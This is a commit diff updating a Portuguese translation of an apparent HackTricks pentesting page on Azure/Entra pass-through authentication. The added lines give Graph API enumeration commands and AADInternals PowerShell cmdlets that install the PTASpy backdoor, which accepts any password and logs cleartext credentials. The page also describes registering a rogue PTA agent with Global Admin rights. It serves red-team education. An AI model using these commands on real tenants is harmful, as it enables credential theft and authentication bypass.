Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-24 11:26:16 +00:00
parent ed26cf162c
commit 5633e8b115

View File

@@ -4,9 +4,9 @@
## Informações Básicas
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A Autenticação Pass-through do Azure Active Directory (Azure AD) permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Azure AD, este recurso **valida as senhas dos usuários diretamente contra seu Active Directory local**.
[Dos docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A autenticação pass-through do Microsoft Entra permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Microsoft Entra ID, esse recurso valida as senhas dos usuários diretamente contra seu Active Directory local.
Na PTA, as **identidades** são **sincronizadas**, mas as **senhas** **não** são, como no PHS.
No PTA, **identidades** são **sincronizadas**, mas **senhas não são**, como no PHS.
A autenticação é validada no AD local e a comunicação com a nuvem é feita por um **agente de autenticação** executando em um **servidor local** (não precisa estar no DC local).
@@ -23,19 +23,53 @@ A autenticação é validada no AD local e a comunicação com a nuvem é feita
> Se um atacante **comprometer** o **PTA**, ele pode **ver** todas as **credenciais** da fila (em **texto claro**).\
> Ele também pode **validar qualquer credencial** para o AzureAD (ataque semelhante ao Skeleton key).
### Local -> nuvem
### Enumeração
Se você tiver acesso **administrativo** ao **servidor Azure AD Connect** com o **agente PTA** em execução, você pode usar o módulo **AADInternals** para **inserir uma porta dos fundos** que **validará TODAS as senhas** introduzidas (então todas as senhas serão válidas para autenticação):
Do Entra ID:
```bash
Install-AADIntPTASpy
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Verifique se o agente está em execução no servidor local:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting
Se você tiver acesso **admin** ao **servidor Azure AD Connect** com o **agente PTA** em execução, você pode usar o módulo **AADInternals** para **inserir uma backdoor** que irá **validar TODAS as senhas** introduzidas (então todas as senhas serão válidas para autenticação):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Se a **instalação falhar**, isso provavelmente se deve à falta dos [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Também é possível **ver as senhas em texto claro enviadas para o agente PTA** usando o seguinte cmdlet na máquina onde o backdoor anterior foi instalado:
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Este backdoor irá:
- Criar uma pasta oculta `C:\PTASpy`
@@ -45,10 +79,8 @@ Este backdoor irá:
> [!NOTE]
> Quando o serviço AzureADConnectAuthenticationAgent é reiniciado, o PTASpy é “descarregado” e deve ser reinstalado.
### Cloud -> On-Prem
> [!CAUTION]
> Após obter **privilégios GA** na nuvem, é possível **registrar um novo agente PTA** configurando-o em uma **máquina controlada pelo atacante**. Uma vez que o agente está **configurado**, podemos **repetir** os **passos anteriores** para **autenticar usando qualquer senha** e também, **obter as senhas em texto claro.**
> Após obter **privilégios GA** na nuvem, é possível **registrar um novo agente PTA** e **repetir** os **passos anteriores** para **autenticar usando qualquer senha** e também, **obter as senhas em texto claro.**
### Seamless SSO